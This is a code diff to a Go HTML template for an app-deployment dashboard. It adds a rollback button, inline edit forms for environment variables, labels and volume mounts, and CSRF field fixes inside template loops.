||||||
|
</form>
|
||||||
|
{{if .App.PreviousImageID.Valid}}
|
||||||
|
<form method="POST" action="/apps/{{.App.ID}}/rollback" class="inline" x-data="confirmAction('Roll back to the previous deployment?')" @submit="confirm($event)">
|
||||||
|
{{ .CSRFField }}
|
||||||
|
<button type="submit" class="btn-warning">Rollback</button>
|
||||||
|
</form>
|
||||||
|
{{end}}
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
@@ -102,15 +112,34 @@
|
|||||||
</thead>
|
</thead>
|
||||||
<tbody class="table-body">
|
<tbody class="table-body">
|
||||||
{{range .EnvVars}}
|
{{range .EnvVars}}
|
||||||
<tr>
|
<tr x-data="{ editing: false }">
|
||||||
<td class="font-mono font-medium">{{.Key}}</td>
|
<template x-if="!editing">
|
||||||
<td class="font-mono text-gray-500">{{.Value}}</td>
|
<td class="font-mono font-medium">{{.Key}}</td>
|
||||||
<td class="text-right">
|
</template>
|
||||||
<form method="POST" action="/apps/{{$.App.ID}}/env/{{.ID}}/delete" class="inline" x-data="confirmAction('Delete this environment variable?')" @submit="confirm($event)">
|
<template x-if="!editing">
|
||||||
{{ .CSRFField }}
|
<td class="font-mono text-gray-500">{{.Value}}</td>
|
||||||
<button type="submit" class="text-error-500 hover:text-error-700 text-sm">Delete</button>
|
</template>
|
||||||
</form>
|
<template x-if="!editing">
|
||||||
</td>
|
<td class="text-right">
|
||||||
|
<button @click="editing = true" class="text-primary-600 hover:text-primary-800 text-sm mr-2">Edit</button>
|
||||||
|
<form method="POST" action="/apps/{{$.App.ID}}/env-vars/{{.ID}}/delete" class="inline" x-data="confirmAction('Delete this environment variable?')" @submit="confirm($event)">
|
||||||
|
{{ $.CSRFField }}
|
||||||
|
<button type="submit" class="text-error-500 hover:text-error-700 text-sm">Delete</button>
|
||||||
|
</form>
|
||||||
|
</td>
|
||||||
|
</template>
|
||||||
|
<template x-if="editing">
|
||||||
|
<td colspan="3">
|
||||||
|
<form method="POST" action="/apps/{{$.App.ID}}/env-vars/{{.ID}}/edit" class="flex gap-2 items-center">
|
||||||
|
{{ $.CSRFField }}
|
||||||
|
<input type="text" name="key" value="{{.Key}}" required class="input flex-1 font-mono text-sm">
|
||||||
|
<input type="text" name="value" value="{{.Value}}" required class="input flex-1 font-mono text-sm">
|
||||||
|
<button type="submit" class="btn-primary text-sm">Save</button>
|
||||||
|
<button type="button" @click="editing = false" class="text-gray-500 hover:text-gray-700 text-sm">Cancel</button>
|
||||||
|
</form>
|
||||||
|
<p class="text-xs text-amber-600 mt-1">⚠ Container restart needed after env var changes.</p>
|
||||||
|
</td>
|
||||||
|
</template>
|
||||||
</tr>
|
</tr>
|
||||||
{{end}}
|
{{end}}
|
||||||
</tbody>
|
</tbody>
|
||||||
@@ -147,15 +176,33 @@
|
|||||||
</td>
|
</td>
|
||||||
</tr>
|
</tr>
|
||||||
{{range .Labels}}
|
{{range .Labels}}
|
||||||
<tr>
|
<tr x-data="{ editing: false }">
|
||||||
<td class="font-mono font-medium">{{.Key}}</td>
|
<template x-if="!editing">
|
||||||
<td class="font-mono text-gray-500">{{.Value}}</td>
|
<td class="font-mono font-medium">{{.Key}}</td>
|
||||||
<td class="text-right">
|
</template>
|
||||||
<form method="POST" action="/apps/{{$.App.ID}}/labels/{{.ID}}/delete" class="inline" x-data="confirmAction('Delete this label?')" @submit="confirm($event)">
|
<template x-if="!editing">
|
||||||
{{ .CSRFField }}
|
<td class="font-mono text-gray-500">{{.Value}}</td>
|
||||||
<button type="submit" class="text-error-500 hover:text-error-700 text-sm">Delete</button>
|
</template>
|
||||||
</form>
|
<template x-if="!editing">
|
||||||
</td>
|
<td class="text-right">
|
||||||
|
<button @click="editing = true" class="text-primary-600 hover:text-primary-800 text-sm mr-2">Edit</button>
|
||||||
|
<form method="POST" action="/apps/{{$.App.ID}}/labels/{{.ID}}/delete" class="inline" x-data="confirmAction('Delete this label?')" @submit="confirm($event)">
|
||||||
|
{{ $.CSRFField }}
|
||||||
|
<button type="submit" class="text-error-500 hover:text-error-700 text-sm">Delete</button>
|
||||||
|
</form>
|
||||||
|
</td>
|
||||||
|
</template>
|
||||||
|
<template x-if="editing">
|
||||||
|
<td colspan="3">
|
||||||
|
<form method="POST" action="/apps/{{$.App.ID}}/labels/{{.ID}}/edit" class="flex gap-2 items-center">
|
||||||
|
{{ $.CSRFField }}
|
||||||
|
<input type="text" name="key" value="{{.Key}}" required class="input flex-1 font-mono text-sm">
|
||||||
|
<input type="text" name="value" value="{{.Value}}" required class="input flex-1 font-mono text-sm">
|
||||||
|
<button type="submit" class="btn-primary text-sm">Save</button>
|
||||||
|
<button type="button" @click="editing = false" class="text-gray-500 hover:text-gray-700 text-sm">Cancel</button>
|
||||||
|
</form>
|
||||||
|
</td>
|
||||||
|
</template>
|
||||||
</tr>
|
</tr>
|
||||||
{{end}}
|
{{end}}
|
||||||
</tbody>
|
</tbody>
|
||||||
@@ -185,22 +232,46 @@
|
|||||||
</thead>
|
</thead>
|
||||||
<tbody class="table-body">
|
<tbody class="table-body">
|
||||||
{{range .Volumes}}
|
{{range .Volumes}}
|
||||||
<tr>
|
<tr x-data="{ editing: false }">
|
||||||
<td class="font-mono">{{.HostPath}}</td>
|
<template x-if="!editing">
|
||||||
<td class="font-mono">{{.ContainerPath}}</td>
|
<td class="font-mono">{{.HostPath}}</td>
|
||||||
<td>
|
</template>
|
||||||
{{if .ReadOnly}}
|
<template x-if="!editing">
|
||||||
<span class="badge-neutral">Read-only</span>
|
<td class="font-mono">{{.ContainerPath}}</td>
|
||||||
{{else}}
|
</template>
|
||||||
<span class="badge-info">Read-write</span>
|
<template x-if="!editing">
|
||||||
{{end}}
|
<td>
|
||||||
</td>
|
{{if .ReadOnly}}
|
||||||
<td class="text-right">
|
<span class="badge-neutral">Read-only</span>
|
||||||
<form method="POST" action="/apps/{{$.App.ID}}/volumes/{{.ID}}/delete" class="inline" x-data="confirmAction('Delete this volume mount?')" @submit="confirm($event)">
|
{{else}}
|
||||||
{{ .CSRFField }}
|
<span class="badge-info">Read-write</span>
|
||||||
<button type="submit" class="text-error-500 hover:text-error-700 text-sm">Delete</button>
|
{{end}}
|
||||||
</form>
|
</td>
|
||||||
</td>
|
</template>
|
||||||
|
<template x-if="!editing">
|
||||||
|
<td class="text-right">
|
||||||
|
<button @click="editing = true" class="text-primary-600 hover:text-primary-800 text-sm mr-2">Edit</button>
|
||||||
|
<form method="POST" action="/apps/{{$.App.ID}}/volumes/{{.ID}}/delete" class="inline" x-data="confirmAction('Delete this volume mount?')" @submit="confirm($event)">
|
||||||
|
{{ $.CSRFField }}
|
||||||
|
<button type="submit" class="text-error-500 hover:text-error-700 text-sm">Delete</button>
|
||||||
|
</form>
|
||||||
|
</td>
|
||||||
|
</template>
|
||||||
|
<template x-if="editing">
|
||||||
|
<td colspan="4">
|
||||||
|
<form method="POST" action="/apps/{{$.App.ID}}/volumes/{{.ID}}/edit" class="flex gap-2 items-center">
|
||||||
|
{{ $.CSRFField }}
|
||||||
|
<input type="text" name="host_path" value="{{.HostPath}}" required class="input flex-1 font-mono text-sm" placeholder="/host/path">
|
||||||
|
<input type="text" name="container_path" value="{{.ContainerPath}}" required class="input flex-1 font-mono text-sm" placeholder="/container/path">
|
||||||
|
<label class="flex items-center gap-1 text-sm text-gray-600 whitespace-nowrap">
|
||||||
|
<input type="checkbox" name="readonly" value="1" {{if .ReadOnly}}checked{{end}} class="rounded border-gray-300 text-primary-600 focus:ring-primary-500">
|
||||||
|
RO
|
||||||
|
</label>
|
||||||
|
<button type="submit" class="btn-primary text-sm">Save</button>
|
||||||
|
<button type="button" @click="editing = false" class="text-gray-500 hover:text-gray-700 text-sm">Cancel</button>
|
||||||
|
</form>
|
||||||
|
</td>
|
||||||
|
</template>
|
||||||
</tr>
|
</tr>
|
||||||
{{end}}
|
{{end}}
|
||||||
</tbody>
|
</tbody>
|
||||||
|
|||||||
Reference in New Issue
Block a user